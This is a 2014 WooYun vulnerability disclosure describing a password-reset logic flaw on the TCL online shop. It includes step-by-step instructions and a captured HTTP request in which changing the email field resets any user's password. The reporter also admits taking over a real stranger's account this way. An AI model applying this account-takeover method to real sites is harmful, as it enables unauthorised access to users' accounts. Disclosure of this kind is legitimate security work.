当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-083159

漏洞标题:TCL商城任意用户密码重置漏洞

相关厂商:TCL官方网上商城

漏洞作者: C木苦咖啡

提交时间:2014-11-14 12:27

修复时间:2014-12-29 12:28

公开时间:2014-12-29 12:28

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-14: 细节已通知厂商并且等待厂商处理中
2014-11-14: 厂商已经确认,细节仅向厂商公开
2014-11-24: 细节向核心白帽子及相关领域专家公开
2014-12-04: 细节向普通白帽子公开
2014-12-14: 细节向实习白帽子公开
2014-12-29: 细节向公众公开

简要描述:

在wooyun上看公开的漏洞的时候,发现某厂商给的乌币挺豪爽的,于是乎。。。。。

详细说明:

1.注册账号
2.退出登录以后,点击"忘记密码",输入刚才注册的邮箱,点击"下一步"
3.进邮箱,看到"TCL官网重设密码通知"
4.用burpsuite解包
5.进入邮件点击找回链接
截取到如下数据包
POST /login/ResetPwd.html?auth=6bb5BQAACVYGBABVAQIKUFJQVwVWAlZUWAFSXQgRClxQXlFpREdRDVNaVyUAVwFKVwpZb0RDDVkTVzlNAF4DBlBRBwcJAgpUBgcJVgNQUwUHUABQUVRdAgQKVA1sElMDBAUOAwgFCl4 HTTP/1.1
Host: shop.tcl.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://shop.tcl.com/login/ResetPwd.html?auth=6bb5BQAACVYGBABVAQIKUFJQVwVWAlZUWAFSXQgRClxQXlFpREdRDVNaVyUAVwFKVwpZb0RDDVkTVzlNAF4DBlBRBwcJAgpUBgcJVgNQUwUHUABQUVRdAgQKVA1sElMDBAUOAwgFCl4
Cookie: QIAO_CK_undefined_R=http%3A//mail.163.com/js6/read/readhtml.jsp%3Fssid%3DK%252bWfcRcR0gvYN1aA0E4hJT5xlJswN8WIHlyF5iDMtOI%253d%26mid%3D163%3A1tbioxxD5FD+Xh69VgAAsd%26font%3D15%26color%3D064977; _dmvt_=1.3506751477411154000.1415859083.1415859088.1415864857.3; AUTHENTICATION=6hm9am4v5sgl7kre8bv6914eo5; Hm_lvt_9d2f247c649eb7b58fdb8d49b354fbd2=1415859097,1415859990,1415868544; Hm_lpvt_9d2f247c649eb7b58fdb8d49b354fbd2=1415868544; QIAO_CK_undefined_R=; tma=35223460.84563224.1415859100264.1415859100264.1415859100264.1; tmd=58.35223460.84563224.1415859100264.; baidu_qiao_v3_count_5298882=1; PHPSESSID=dk03u3tphh7t497s4bcerbon93; browse_histroy=d8512d5f82c6916abbca9407e41ca1ea1fbf953es%3A45%3A%22goods%7C%7C100%7C%7C1415860562%2Cgoods%7C%7C757%7C%7C1415859168%22%3B; is_returning=1; bfd_session_id=bfd_g=b56c782bcb75035d00004f4e00004d3754644ba2
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
password=123456&repassword=123456&email=xxxxxxxxx
6.xxxxxx位置修改为要重置账户的邮箱
7.然后点击burpsuite的forward,发送数据
8.登陆对方账号
备注:由于注册的时候,邮箱输入框采用ajax检测邮箱是否注册,随便试了一下,发现存在npc@163.com邮箱,顺便重置了一下密码,罪过,本人无心,希望得到主的宽恕!!!

漏洞证明:

19.jpg

修复方案:

。。。。

版权声明:转载请注明来源 C木苦咖啡@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-11-14 14:20

厂商回复:

感谢你的工作,已转交相关单位处理。

最新状态:

暂无